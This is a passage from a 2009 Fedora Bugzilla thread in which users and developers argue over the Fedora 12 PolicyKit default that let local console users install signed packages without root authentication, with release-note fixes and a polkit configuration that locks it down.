> security update which fixes the default policy.  

Works for me. I can't expect magic to roll back time to change the already-installed software.

Comment 76 John J. McDonough 2009-11-19 02:17:47 UTC
An admonition has been added to the English language release notes at docs.fp.o.  We fully expect to have to change it in the morning, and will wait for the dust to settle before pushing it to updates-f12.

We will also wait a couple of days before facing L10N.

Comment 77 Keith G. Robertson-Turner 2009-11-19 02:31:22 UTC
This is outrageous.

In more than a decade of using and administering Linux systems, this is by far
the worst decision I have ever encountered.

Allowing unprivileged users to install software without root authorisation, is
severely broken behaviour, and an affront to the UNIX security model.

The default policy needs to be reverted as a matter of urgency, and a security
advisory should be issued for those already affected.

Unbelievable.

Comment 78 Adam Williamson 2009-11-19 02:37:29 UTC
to other red hat folks: i'm uncomfortable with the abuse of the private comment feature (not just here, but it's particularly bad in this bug) as a way to introduce a parallel discussion that's effectively limited to an informal RH cabal. this is the Fedora project, there is no room for that. comments should only be made private when they introduce or discuss not-currently-public security concerns, which is not the case for any of the private comments on this bug. they should be used for impromptu 'sekrit club' discussions. Issues like this in the Fedora project should be discussed in public.

aside from that: I think we need to test whether the disk-space-exhaustion DoS possibility is actually there or not (it depends whether PK's code allows it to exhaust the space reserved for root in any given filesystem), that would be useful information.

FWIW, my personal opinion is the new default is not a good idea and we should revert it with an update. I think it's incontrovertibly the case that the new default was introduced poorly, without sufficient documentation either of the fact of the change or how to adjust the policy.

for the press: please note that this issue has already been proposed for discussion by the Fedora Engineering steering committee at its next meeting, and they certainly have the authority to require changes be made to this policy in an update. Also note the addition of documentation in the release notes about how to adjust this policy. And to make it very clear, this applies only to users with a _local console session_ (basically, people actually sitting in front of the machine), for installing packages signed with a trusted key. It does not apply to un-signed packages, or remote logins. It is only for _installing_ packages, not for removing them (removing packages always requires root privileges).

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 79 Sean OMeara 2009-11-19 02:38:41 UTC
This has nothing to do with USB drives.

Everyday programs that local console users use are frequently remotely exploitable. Remote exploits are in no way limited to processes running as a remote (non console) UID.

Let's consider Evolution, Thunderbird, Firefox, Konqueror, etc. All process data, in the form of email, web pages, images, audio, etc, that originates from untrusted and frequently malicious sources.

Spending literally 20 seconds on google, using the terms "linux remote exploit" reveals at least recent 3 doozies that would all result in the ability for an attacker to execute code as the console user.

LibPNG remote exploit
http://www.milw0rm.com/exploits/389

Jpeg remote from 2004
http://www.hackinthebox.org/modules.php?op=modload&name=News&file=article&sid=14216

Firefox remote exploits (HTML even!)
http://www.computerworld.com/s/article/104504/Firefox_flaw_found_Remote_exploit_possible

Usage of sudo, OSX's system, and other programs like it enhance security by requiring re-authentication of potentially dangerous operation. 

"Either you trust the repository or not" is such a strawman that it's ridiculous. 

If I were an attacker, I could install, then exploit any program I wanted without having to re-authenticate, console or not.

PolicyKit is brand new. None of us have any idea how it works. Could you please provide an explanation of how it prevents the above scenarios? 

At least leave it disabled by default, let users enable it with a checkbox until PolicyKit is better understood.

This is a huge amount of public outcry and it should tell you something's wrong with this decision.

-s

Comment 80 Juan P. Daza P. 2009-11-19 02:38:59 UTC
Another interesting topic for the future is how easy was to change the release notes after the release date, *of course documentation can always be improved no doubt about it* but this security change should be stressed somewhere.

Comment 81 Rahul Sundaram 2009-11-19 02:41:39 UTC
Juan,

Considering that release notes is the well known place for new changes, that is where it is getting documented.

Comment 82 Adam Williamson 2009-11-19 02:42:48 UTC
er, obviously 'they should be used for impromptu 'sekrit club' discussions' was intended to read 'they should NOT be used for impromptu 'sekrit club' discussions' :)

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 84 Cong Ma 2009-11-19 02:48:52 UTC
(In reply to comment #38)
> I don't disagree that admin users should be allowed to install without entering
> a password, but they should be admin users.  Not normal users.

I think so.

> I realize we
> suck right now and don't give the first user admin access by default, and don't
> have a ui for setting who is an admin user yet, but that doesn't me we should
> have a policy that let's any user become an admin user whenever they want.  

I don't think there's need for "a ui for setting who is an admin user". This
user account is called root. This UI is called system-config-users. And any
human user that uses a separate account and is competent enough to qualify as
"an admin" should, by definition, already know how to add herself to wheel and
configure the sudoers file (either as the human that already controls the root
account, or with the help and supervision of the responsible "root" admin).

And also I don't think "[giving] the first user admin access by default" is
anything better. This is typical Windowsthink.

The software should obey the will of the Real Admin (the person, not the
account) and create new accounts (with or without certain privileges) on
demand. NOT granting whichever (non-root) account that happened to be created
first the admin privileges.

The installer already does an adequate job creating the root user as the first
user which is *the* admin user. That's enough.

Your post appeared to me that you've acknowledged the problem we're having now,
but your concluding paragraph was even more disturbing! We now have a problem
that can be roughly stated "Fedora's new default policy is probably making the
OS less secure, less stable, and less admin-friendly." You acknowledged this
problem, but your answer was in the general direction of "So let's make it even
less secure and less admin-friendly."

Of course I may be wrong or oversensitive or both. I don't know better than
anyone else and the above was just my opinion with a lot of personal bias.
Anyway, please remember that we users took the time and trouble posting here
with the intent of helping the community working towards a better distro.
Please don't let us down.

Thank you.

Comment 85 Kevin Kofler 2009-11-19 02:49:03 UTC
I think the biggest issue we have is that such a change was able to be snuck in without any discussion and not get noticed until after the release.

Comment 86 Jim Perrin 2009-11-19 02:51:31 UTC

    Maybe we could just post a warning to this prior to action?

    Since we're talking gui here, why not have a window that pops up saying
    something like:

    The application pkgkit is requesting access to your system. Press
    ctrl+alt+delete to confirm

    Then have a cancel or allow dialog to make sure the user wants to procede.


    I think this might solve all aspects of this issue.

Comment 87 Adam Williamson 2009-11-19 02:52:42 UTC
kevin: someone wondered why QA never noticed this, so to answer that question: a), auditing security policy issues isn't really on our list of Things To Do, so we weren't particularly looking out for this. b), it's not apparent until packages are signed, which is rather late in the release cycle; through most of F12's life in Rawhide, this issue would've been hidden. and c), frankly, I think most of us use yum all the time. I haven't fired up PackageKit in months. We should probably make an effort to change that.

I suspect the yum thing is one reason why most people never noticed this during the development cycle; probably just about everyone active in development / rawhide testing doesn't really use PackageKit.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 89 Kevin Kofler 2009-11-19 02:59:59 UTC
Re b), if we had been autosigning Rawhide packages instead of being paranoid about the "security risks" of automatic signing, this gaping security hole would have noticed. Sometimes trying to be "secure" is counterproductive.

As for comment #86 (Jim Perrin), you're missing the point entirely. This is not about malware impersonating the user (though that is also a potential risk as not even user auth is being asked for), but about the user not being supposed to be allowed to install packages in the first place!

Comment 90 Cong Ma 2009-11-19 03:05:50 UTC
(In reply to comment #86)
> 
>     Maybe we could just post a warning to this prior to action?
> 
>     Since we're talking gui here, why not have a window that pops up saying
>     something like:
> 
>     The application pkgkit is requesting access to your system. Press
>     ctrl+alt+delete to confirm
> 
>     Then have a cancel or allow dialog to make sure the user wants to procede.
> 
> 
>     I think this might solve all aspects of this issue.  

I don't know whether you're being serious or sarcastic ;) What I deeply fear is
that some devs take it seriously and, like, "whoa, that's what I was thinking
of, too!"

Comment 91 Jim Perrin 2009-11-19 03:08:23 UTC
(In reply to comment #90)

> I don't know whether you're being serious or sarcastic ;) What I deeply fear is
> that some devs take it seriously and, like, "whoa, that's what I was thinking
> of, too!"  


Well, it was an attempt injecting some levity (and a little minor trolling) into this insanity, but given comment #89, you might be right....

Comment 92 Adam Williamson 2009-11-19 03:08:44 UTC
vincent: replying publicly, for my own obvious reasons. ;)

it's not the right mechanism. you're abusing something that exists for other reasons. if you want to talk about the impact on RHEL, do it through appropriate channels. this is a bug in Fedora and a significant wider issue for the Fedora community, it should not have inappropriately private comments on it. (this hardly needed me to draw attention to it, the 'missing' comment numbers are pretty screamingly obvious. at least with my explanation, it's clear that there aren't not-yet-publicly-discussed further security issues here, which might be what someone would think if all they knew was that there were hidden comments).

I disagree that there are obviously things that should remain between Red Hat employees as far as Fedora is concerned. There are indeed obviously things that should remain between employees as far as RHEL is concerned, but that is not the same thing at all, and this bug is not about RHEL. There should not be anything about Fedora that's different for a Red Hat employee just because they happen to be a Red Hat employee, and where that attitude exists we should change it. If all you meant was as far as RHEL is concerned, then sure, but this isn't the place to have that discussion.

so yeah, as far as RHEL discussion goes...the 'clone bug' button is up there somewhere. =)

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 93 Denny Crane 2009-11-19 03:11:37 UTC
(In reply to comment #14)
> (In reply to comment #13)
> > A user should not be able to make system-wide changes without authenticating as
> > a root user.
> 
> Of course he should. It's been this way for years for console users e.g.
> mounting storage devices.
> 
> > If an admin wishes non-root users to be able to install software, he can enable
> > this. The default, like the selinux default, is to be secure by default.
> > 
> > Allowing a normal user to install software on a box from some applications
> > (packagekit) and not others (yum and rpm and whatever replaces pirut) is
> > inconsistent.
> > 
> > If this change is wanted we can add it to Fedora 13 after the proper
> > discussion.  
> 
> There's nothing to discuss here. Your problem is that pretending asking for
> root authentication for *local* users in *active* sessions... when installing
> *trusted* software adds security is... well.. only a sign of dogma, snakeoil
> and ignorance when it comes to providing a secure system.
> 
> If you want, there's a way to lock this down, see 'man pklocalauthority'. I
> will not commment further on this bug. Have a nice day.
> 
>      David  

This issue already appears to be the fourth highest voted open issue in Fedora:
https://bugzilla.redhat.com/buglist.cgi?query_format=advanced&classification=Fedora&product=Fedora&bug_status=NEW&bug_status=ASSIGNED&bug_status=MODIFIED&bug_status=ON_DEV&bug_status=ON_QA&bug_status=VERIFIED&bug_status=FAILS_QA&bug_status=RELEASE_PENDING&bug_status=POST&votes=485

Obviously users are think there's something to discuss.

Comment 94 Jesse 2009-11-19 03:14:04 UTC
This feature basically allows any user to install any (or all) of 15,000 packages to the system without requiring a root password. That is completely unacceptable for a multi-user system. This means any user on my system can install software root doesn't want into root's PATH. There was no mention of this policy change in the release notes and there is no warning in the software. I could see this being a handy feature for a single-user computer, but it should definitely not be enabled by default.

Comment 95 Adam Williamson 2009-11-19 03:34:27 UTC
to clarify comment #92: really all I mean is that RHEL implications of Fedora bugs should be discussed separately in bug reports filed on Red Hat products, and not mixed in with Fedora bug reports. it leads to unnecessary confusion and worry on the part of Fedora users and community members when this kind of mixing happens. There is _not_ a sekrit Red Hat cabal controlling things here; what I'm worried about is that the existence of hidden comments might give the impression that there is, even when there isn't :)

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 96 Neal Gompa 2009-11-19 03:38:31 UTC
The only thing that MIGHT be allowed to run without root password in regards to package management would be updating ALREADY EXISTING SIGNED PACKAGES, in my opinion. Installing new packages without root password required is suicide in any security standpoint. Basically, this bug has brought Windows stupidity to Linux.

However, I would be hard-pressed to enable this feature, even if it was only for updating packages. Automatic updates are nice and all, but part of the security of Linux systems is the fact that you make sure your system is working and regularly actively maintain it.

In a multi-user system where I have idiots who do not have root access, I would probably enable this feature as long as the users are totally unaware and/or unable to mess with the updating procedure and it could halt and work as needed, kind of like Windows Update in Windows 7.

Comment 97 Nathan Oosthuizen 2009-11-19 03:45:19 UTC
I agree ... put it back.  I have a 4 year old daughter I let loose on my system
.... so great, she lands up installing a ton of stuff I don't want ....

I was going to switch from Ubuntu 9.10 to F.12 (even downloaded the ISO last
night).  but I think I will wait a bit before I do.  As a user, the way you
have handled this kinda breaks the trust just a little ... dont you think?

Sure I could go and disable it ... but coming from other distros, it is not
something I would be looking at doing with out knowing that the security was
lax.


-----
If I do need Fedora ... at least I still have my F.11 ISO :P

Comment 98 Rick L Vinyard Jr 2009-11-19 03:51:31 UTC
(In reply to comment #68)
> IMHO this really needs to be changed to the policy which was used up to F11
> (require root auth once, allow the user to keep it) which had been working fine
> (a one-time password prompt isn't a major inconvenience for single-user systems
> and everywhere else things are secure), why has this even been changed at all?
> 
> This has been put on FESCo's agenda for this week's meeting:
> https://fedorahosted.org/fesco/ticket/277
> and my vote is definitely going to go towards issueing a security update to
> lock this down.  

+1

Comment 99 Paul W. Frields 2009-11-19 04:08:26 UTC
Adam:  Thank you for your comments #78 and #92 (and of course the others as well).  There are other mechanisms for discussion on RHEL-specific topics and Fedora bugs should stay transparent.

Comment 100 santiago angel 2009-11-19 04:12:33 UTC
This is a good feature after all. Thousands of users want to install software on its desktops without type the root password over and over again.

Only this special user profile could get benefit of this feature.

For the rest of us is a security risk or an awful feature.

Please fix it and turn off this feature by default in F12.

During the F12 cycle make a UI for F12 able of turn off/on this feature in a simple way(for desktop users?).

Include it on F13 as a choice in anaconda or in the firstboot and integrate it in an UI.

Comment 101 Alexandre Oliva 2009-11-19 04:48:09 UTC
Say N-V-R is a package shipped within the fedora repository (rather than as an update that would be removed when superseded).  N is not installed by default, and it contains a set[ug]id program.

Say a month from now the set[ug]id program is found to be buggy and locally exploitable.

Say we shortly publish an update N-V-R++ that fixes the bug.

Given the F-12 default policy, could a regular user, without root authentication, get the *buggy* N-V-R installed, so as to exploit the bug and escalate privileges?

Comment 103 dedded 2009-11-19 05:04:02 UTC
> As a user, the way you have handled this kinda breaks the trust
> just a little ... dont you think?

The understatement of the day.

This is not only a huge change from previous Fedora behavior, it's contrary to every other version of Linux or Unix with which I'm familiar (and VMS, and comment #72 makes the claim for OSX).  And it wasn't announced.

Some of the early comments in this bug are disturbing in a breaks-the-trust kind of way.  Comment #8 is just rude.  Comments #14 and #15 try to shut the bug down without discussion.  Comment #9 claims that admins can "trivially change the default".  But this "trivial" change apparently involves a new command (there's no pklalockdown on my F11 system) with an obscure switch, or six lines of obscure configuration in an equally obscure location (five subdirectories deep!).  (Why is system configuration under /var and not /etc?)  And a subsequent comment claims the pklalockdown option goes away in the next polkit release.

In my case, I administer a home Fedora system with three users.  I want to be the only person installing software.  This new default seems to assume that systems are purely single user.  Multi-user systems may be reasonably rare among laptops, but not among desktops--whether at home or at work.

Please consider:
    1. Add my voice to those who strongly prefer the old default.
    2. Simply the configuration (make it one line in a file).
    3. Consider whether or not such configuration belongs under /etc.
    4. And really, there ought to be an apology.

My requests 2 & 3, if meritorious, are likely non-trivial.  But please consider them anyway.

Comment 104 Adam Williamson 2009-11-19 05:34:32 UTC
alexandre: that possibility was raised in comment #65.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 105 Dax Kelson 2009-11-19 06:21:39 UTC
(In reply to comment #9)
> I don't particularly care how UNIX has always worked. 

I strongly object to this attitude, I-am-a-developer-and-I-dont-care-how-UNIX-does-or-did-it-I-have-commit-access-after-all (so go away).

Many (most?) of the UNIX design behaviours are hard won and have stood the test of time. How many operating system designs have survived near fully intact for almost 4 decades? This by itself should be enough of a clue to the clueful that the design deserve some respect. Tinkering with those behaviors should be done with great solemnness and certainly not the devil-may-care attitude that seems so prevalent today.

A huge problem of Windows is that every new version obsoletes vasts swaths of knowledge, muscle memory, written documentation, communal knowledge, etc. No matter how much of an expert you are with one version of Windows, when the next version comes out you get to start nearly from scratch again.

UNIX and Linux has avoided that problem -- until recently.

It used to be that if you took the time and effort to learn something thoroughly (as opposed to just copy-n-pasting arcane voodoo from a blog whose author copy-n-pasted it from some other more obscure source) that your investment would reap you windfall dividends over the years. This was and is a HUGE draw and attractiveness to UNIX/Linux.

The evidence is that PolicyKit is being designed seat-of-your-pants style with commands coming and going, etc. This discourages folks from investing any time into learning it. The time you spending learning will be a waste when the next version comes out and changes things all around again.

Comment 106 John 2009-11-19 06:32:04 UTC
(In reply to comment #72)
> Jeez guys, even *Apple* with OS X requires a password to install software. 
> Fedora is now the new Windows.  

Actually, _my_ Windows does require an Administrator's password to install software.

Comment 107 cornel panceac 2009-11-19 06:33:27 UTC
(In reply to comment #104)
> alexandre: that possibility was raised in comment #65.
> 
> -- 
> Fedora Bugzappers volunteer triage team
> https://fedoraproject.org/wiki/BugZappers  

adam: thank you for keeping this thread balanced and fair.

Comment 108 David Jao 2009-11-19 06:43:04 UTC
I see that some people are (still) using the distinction between remote and console users as an excuse to allow this sort of behavior. This reasoning is fallacious. Taken to its logical extreme, one could use this excuse to justify simply giving all console users complete root access. And there is *NO* clear dividing line to explain why unprivileged package installs are OK but unprivileged total root access is not OK.

Lots of people here and on the mailing list have already presented many reasonable scenarios where console users should not automatically have the ability to install packages. There are also many situations (like x11vnc) where one can "fool" PolicyKit into thinking that a remote user is at the console. None of these scenarios are taken into account by the current policy. The F12 policy is absolutely insane and I can't understand why anyone would even begin to defend the F12 behavior.

Likewise, "defaults don't matter because you can change it yourself" is not an excuse. Given bad enough defaults (which this is), people are not going to bother. They will just switch distributions. Hell, this might even push me to switch, and I am a longtime Fedora/RedHat user.

The comparison to automounting local media is likewise severely misguided. Inserting a CD or USB stick is a local action. The kernel can check (in hardware registers etc.) that a physical CD or USB stick was inserted. In addition, designing a secure local mount program is a lot easier than making sure that *every package in the Fedora repositories* is free of security vulnerabilities.

It is completely clear that if Fedora is to maintain any tenable claim of being a community-driven distribution, then this change must be reversed. The number of negative comments is just too overwhelming.

Comment 109 Rahul Sundaram 2009-11-19 06:49:54 UTC
Can everybody cool off for a while?  Don't turn a bug report into a giant rant where everyone jumps in and repeats the same thing.  This is being discussed and a decision will be made soon. You will all get to know soon enough. Till then, if you can remain calm, it will do good.

Comment 110 Bojan Smojver 2009-11-19 06:51:38 UTC
Please make this a choice, not a default behaviour. At least give the admin of the machine the ability to enable this and then bear the consequences. Otherwise, it's an exploit waiting to happen.

Comment 111 Rahul Sundaram 2009-11-19 06:55:28 UTC
Bojan,

Just be patient while this is being discussed. Piling up comments is not useful.

Comment 112 David Jao 2009-11-19 07:04:21 UTC
(In reply to comment #109)
> Can everybody cool off for a while?  Don't turn a bug report into a giant rant
> where everyone jumps in and repeats the same thing.  This is being discussed
> and a decision will be made soon. You will all get to know soon enough. Till
> then, if you can remain calm, it will do good.  

I thought this was the discussion, unless the secret forum mentioned by Adam is still being used to discuss this bug (and anyway, wasn't he trying to stop that?).

The hysterics could have been avoided had the bug been treated seriously at the outset. Instead, the first few replies from PolicyKit defenders asked for further justification. So you should not be surprised that you are now receiving such further justification, in spades.

Comment 113 Bojan Smojver 2009-11-19 07:06:43 UTC
(In reply to comment #111)

> Just be patient while this is being discussed. Piling up comments is not
> useful.

As long as I'm permitted to add my opinion to an issue that affects me, I will do so. I am being patient, but that doesn't mean I agree with this choice.

Comment 114 Adam Williamson 2009-11-19 07:13:17 UTC
djao: bugzilla isn't a useful forum for the appropriate Fedora groups to make an actual decision about what action to take here. the discussion is taking place within FESco, basically. that's not a secret forum, but neither does it meet on Bugzilla =)

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 115 Tomas Miljenović (TomasM) 2009-11-19 07:15:50 UTC
Please consider voting for this bug, as opposed to making "+1 confirmed" or "I agree" comments (however valid they may be).  Unless you will be contributing new specific information, fedora-devel-list may be a more appropriate place to continue this discussion.

Comment 116 Davide Cescato 2009-11-19 07:36:19 UTC
I have a number of people in my family that have physical access to my Fedora system and have an account on it. As "untrained" users, they would not know how to leverage the physical access to screw up the system. The introduction of this change in F12, however, empowers them to do this using a GUI tool. As the administrator of that system, I do not like the risks implied by this change.

IMHO this change should be reverted with a security update to F12. The solution of this issue can not wait until F13.

Comment 117 Chris Snook 2009-11-19 08:20:35 UTC
There are several things wrong with this:

1) Signed != secure.  Over the life of F12, there is guaranteed to be a local-to-root vulnerability in some obscure package somewhere.  Just because there's a newer, patched package in the official repos doesn't mean I can't spoof a repo, or just use one that I know is slow to update.

2) Desktop != unmanaged.  Lots of sysadmins would love to put locked-down Fedora systems on their users' desks.  The fact that there happens to be a workaround for this behavior does nothing to assuage their fears that countless other undocumented compromises could be in the desktop spin or the core distro.  This default threatens Fedora's reputation as a distribution with a strong focus on defense-in-depth security.

3) This will let users DoS the root filesystem.  On small systems, or even large systems using various perfectly reasonably partitioning schemes, including every single computer I own, installing everything in the repos will easily fill the root filesystem all by itself.  Unless /var/log is located elsewhere, that takes logging with it too.  Even if / is enormous, an unprivileged user could fill 95% of it with junk, and use this to circumvent the 5% root reserve, which is explicitly intended to prevent this sort of thing.

4) There's already a right way to do this, and that's to use sudo, as Mac OS and Ubuntu do.  Yes, this means we need to add a checkbox to the add user dialog in firstboot.

5) If messing with firstboot and sudo is too scary, just make it a checkbox on the PackageKit dialog window, so you only have to enter the root password once if you really want the less secure behavior.

Comment 118 Maxim Burgerhout 2009-11-19 08:53:21 UTC
Can't refrain from dropping one last question here: can I assume policykit letting unauthorized users install *signed* packages, does not necessarily mean  packages *signed by Fedora*? In other words, me - as admin - installing drivers for my GPU from RPMFusion and subsequently semi-automatically installing the GPG key for that repository will open my system for a plethora of packages from that repo. That would mean this whole issue goes beyond trusting or not trusting the Fedora repositories. It would mean this issue is about trusting any repositories from which we have installed software at some point in time.

Please point out if this is correct or not. I think it matters in this discussion.

Comment 119 Michael De La Rue 2009-11-19 09:02:29 UTC
A version of the actual DOS is as follows: 

System is configured with not too much disk space; has, according to modern
system installs, a single / partition (possible /boot too, but that doesn't
matter) has not-very-trusted users; has quotas turned on.  

1) The user empties their home directory ("I wanted space for my compile")
except for a tarball of software
2) The user installs everything possible until the file system is full ("I
wanted to make sure the compilation tools were there") 
3) The user fills up their quota by unpacking the tarball 
4) whenever someone cleans out space on the system the user can fill it up by
compiling a bit.

Having multiple partitions could solve this but since Fedora would like to be
used by less experienced users and proper partitioning is not being encouraged
as much nowadays that shouldn't be needed to have a secure system.  

Definitely it would be a bug to add this as a new system policy during an
upgrade without agreement from the system administrator.  It's also a bug to
not have a simple GUI to turn this on or off.  

Personally; for my home machine; 

* I don't care much if someone DOSs themselves, I'll fix it when I come back to
use it
* I want to have this turned on for most Fedora repositories
* I want it turned off for other repositories (to avoid getting incompatible software I don't know about), even though I want automatic updates from there
* When I realise that I don't want a particular package I want to be able to
exclude it individually (it's okay if another user installs it and then I have
to delete it) 

For work I can see situations where there should be a (probably different for
each user) list of packages which the user is authorised to install or remove.  

The current proposed all or nothing "solution" doesn't seem to solve either
situation all.  There should at least be a link from the release notes on to how to set more detailed policy.

P.S. thanks for the open discussion.  I don't agree with what was done, but at least if I can see this I can make up my own mind when I actually do upgrade.

Comment 120 Till Maas 2009-11-19 09:12:39 UTC
(In reply to comment #3)

> PackageKit allows you to install signed content from signed repositories
> without a password by default. It only asks you to authenticate if anything is
> unsigned or the signatures are wrong.  

But then it should not be able to install anything from the F12 i386 Everything repo, because it seems not to be signed:

$ curl -sI http://download.fedoraproject.org/pub/fedoralinux/releases/12/Everything/i386/os/repodata/repomd.xml.asc | head -n1
HTTP/1.1 404 NOT FOUND

Comment 121 Rudolf Kastl 2009-11-19 10:01:20 UTC
i do not understand why the design is done like that.

why not just ask the user (via checkbox?) to not have to authenticate again like:

[X] allow this user to always install packages

then the rootpassword prompt is a one time question and it is out of the way. because else it is quite hard to ensure security... which policy would prevent me from adding my "publiccomputer-1.1" project to the fedora repos that automatically opens the whole system to the public? i dont see any guidelines that would prevent it from going through the package review... infact... the package reviewers usually dont even try the components out.


also this current behaviour makes it possible to denial of service ssh and others.

if the root filesystem is filled up (and by default it also carries /var/log) ssh logins dont work anymore.

maybe this doesent matter to desktop of your aunt (my aunt sees that differently)... but then again someone should get a package into the repo that changes the behaviour back to the old default again... so spin creators can easily create a multiuser or workstation spin easily.

Comment 122 Kevin Kofler 2009-11-19 10:05:51 UTC
> why not just ask the user (via checkbox?) to not have to authenticate again
> like:
>
> [X] allow this user to always install packages

In fact this is exactly what happened in F9 to F11.

But it turns out that PolicyKit 1 no longer supports this feature (it was called auth_admin_keep_always in PolicyKit 0.9). See:
https://fedorahosted.org/fesco/ticket/277#comment:4
http://lists.freedesktop.org/archives/polkit-devel/2009-September/000213.html

So I strongly disagree with David Zeuthen's claim that PolicyKit 1 has no blame in this issue.

Comment 123 alien_life_form 2009-11-19 10:48:04 UTC
(In reply to comment #9)
> (In reply to comment #5)
> > This is really a *major* change that is precise opposite of the way *NIX has
> > always worked.  
> 
> I don't particularly care how UNIX has always worked.

Then you should consider doing development work in OSes that better reflect your world view. MS OSes come to mind, and have been suggested repeatedly. Most of the people commenting on this bug (and on the ML; and on /.) appear to care about the way Unix has always worked.

 Looking at the use-cases
> and the things people are trying to do this seemed the best default. Admins can
> trivially change the default on machines if they wish.

Trivial, it ain't. It's about as bad as making /etc/pam.d/ changes, and even more cryptic. One of the long standing criticisms (correctly IMHO) leveled at the Win security model is its opacity: understanding who can do what and what privileges do you need to task X is too hard for most (so Admin privileges are given freely, and wrongly). In contrast, the Owner-Group-World model is well understood by most, even when you throw the set-something-id in for good measure. Why are we (as a community) playing catch-up with a level of complexity that is (already) being proved flawed is beyond me.  

When I first read of this *bug* I thought "one more reason to boot SeLinux=0".

Reading more did not change my feeling, but informed me on the (scary) fact that yum and PK are totally different tools - so I will now have to rip PK off every machine I adminster (assuming it does not pull the entire GUI down with it). Am I the only one considering the divorce (but coexistence) of yum and PK a bad idea?

Cheers,
alf

Comment 124 Andrew Gormanly 2009-11-19 10:57:23 UTC
This change is wrong because it increase the opportunities for system DoS and compromise.  I can't think of any other OS which allows (or allowed) local users with explicitly non-admin accounts to do anything like this.

Signed packages /= packages without exploitable vulns.

On the subject of policy, why is this new behaviour a default?  While I view it as an awful idea, and one that even Microsoft has moved away from because it's an awful idea from a security perspective, I will concede that for a very specific usage model this could be useful - but it should have to be explicitly chosen by the admin after an appropriate explanation of benefits and risks including security implications.

On the subject of system configuration, why is the config change to disable this buried deep in /var and not in /etc as e.g. /etc/sysconfig/packagekit as e.g. allowUsersNewPackageInstalls=no  ?

Comment 125 Andrew Gormanly 2009-11-19 11:00:47 UTC
This change is wrong because it increase the opportunities for system DoS and
compromise.  I can't think of any other OS which allows (or allowed) local
users with explicitly non-admin accounts to do anything like this.

Signed packages /= packages without exploitable vulns.

On the subject of policy, why is this new behaviour a default?  While I view it
as an awful idea, and one that even Microsoft has moved away from because it's
an awful idea from a security perspective, I will concede that for a very
specific usage model this could be useful - but it should have to be explicitly
chosen by the admin after an appropriate explanation of benefits and risks
including security implications.

On the subject of system configuration, why is the config change to disable
this buried deep in /var and not in /etc as e.g. /etc/sysconfig/packagekit as
e.g. allowUsersNewPackageInstalls=no  ?

Comment 126 Andrew Gormanly 2009-11-19 11:05:40 UTC
Apologies for the double post, got a proxy error and re-subbed.

On a practical note, do I understand that to disable this new behaviour we are being told to put the username of every user account which we do *not* want to have this elevated priviledge into a file in /var/lib/polkit-1/localauthority/20-org.d ?

i.e. is the so-called trivial "solution" for obtaining normal GNU/Linux behaviour on F12 to write

Identity=unix-user:username1;unix-user:username2;unix-user:username3;unix-user:username4;unix-user:username5;unix-user:username6;unix-user:username7;unix-user:username8;unix-user:username9;unix-user:username10; [...] unix-user:usernameN

in a file 4 directories deep in /var ?

If so, I have 253 users, which would make that line 4032 characters long at present, and I'd have to modify it every time I add or delete an account.

This is almost as retarded a solution as the problem.

Comment 127 Rahul Sundaram 2009-11-19 11:09:15 UTC
Location of file is a separate bug report at 

https://bugzilla.redhat.com/show_bug.cgi?id=538615

It is not a singular setting because the policy is quite flexible.  For setting it for all users, you can give

Identity=unix-user:*

Comment 129 Andrew Gormanly 2009-11-19 11:29:15 UTC
That's something, at least.  What about to deny for all users except the main user of the system?

Comment 130 Rahul Sundaram 2009-11-19 11:34:34 UTC
Yes, you can do that easily as well.  man pklocalauthority for details

Comment 131 Richard Hughes 2009-11-19 11:38:34 UTC
(In reply to comment #118)
> Please point out if this is correct or not. I think it matters in this
> discussion.  

You have to have manually imported the key or using the GUI. You also need the
root password to import a key, it's not something you can do as a user.

Richard.

Comment 132 Richard Hughes 2009-11-19 12:18:06 UTC
Fix up the release notes text a bit.

Comment 133 Richard Hughes 2009-11-19 12:18:06 UTC
Release note updated. If any revisions are required, please set the 
"requires_release_notes"  flag to "?" and edit the "Release Notes" field accordingly.
All revisions will be proofread by the Engineering Content Services team.

Diffed Contents:
@@ -8,9 +8,9 @@
     Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
     anything you want) and the content should be
 
-    [NoUsersInstallAnythingWithoutPassword]
+    [NoUserSignedInstall]
-    Identity=unix-user:someone;unix-user:someone_else
+    Identity=unix-user:*
-    Action=org.freedesktop.packagekit.*
+    Action=org.freedesktop.packagekit.package-install
-    ResultAny=auth_admin
+    ResultAny=no
-    ResultInactive=auth_admin
+    ResultInactive=no
-    ResultActive=auth_admin+    ResultActive=auth_admin_keep

Comment 134 Eduardo Habkost 2009-11-19 12:36:46 UTC
Changing bug summary to make it more clear. The user has to be logged at a physical console.

(I've seen many people who were unaware of this fact.)

Comment 135 Comsoft GmbH (MIB) 2009-11-19 12:53:23 UTC
(In reply to comment #134)
> Changing bug summary to make it more clear. The user has to be logged at a
> physical console.
> (I've seen many people who were unaware of this fact.)  

I have not seen this statement from comment #108 refuted clearly:

"There are also many situations (like x11vnc) where one can "fool" PolicyKit into thinking that a remote user is at the console."

Clearly the comment #108 is either right about this or not.
In view of these renaming actions, could someone please shed some further factual light on this?

Comment 136 Philip Frampton 2009-11-19 12:55:33 UTC
Another reason this is bad. Users click Yes to update packages and then do stupid things like shutdown the machine. This has happened 3 times to my parents' machine - always it manifests with a problem with Firefox not loading, and always the solution is yum-complete-transactions.

It is one thing to allow the administrator to install packages when they are logged in as a user, or for a user, but completely another to allow anyone logged in to install things from an authorised repository.

You have to ask yourself, is PackageKit there to remove the inconvenience of looking for the package you need, or the inconvenience of gaining permission to install it.

In my opinion, PackageKit should loose it's privileges until it comes with a default setting that is UNIX-like and a simple GUI that lets you set options for things like Package Install, Upgrade, Remove with options like root, root+listed UID/GID, root+all.

Comment 137 eric 2009-11-19 13:26:44 UTC
Release note updated. If any revisions are required, please set the 
"requires_release_notes"  flag to "?" and edit the "Release Notes" field accordingly.
All revisions will be proofread by the Engineering Content Services team.

Diffed Contents:
@@ -1,16 +1,17 @@
-Users can get the same behaviour in
-the past releases by running  
+Diffed Contents:
+@@ -8,9 +8,9 @@
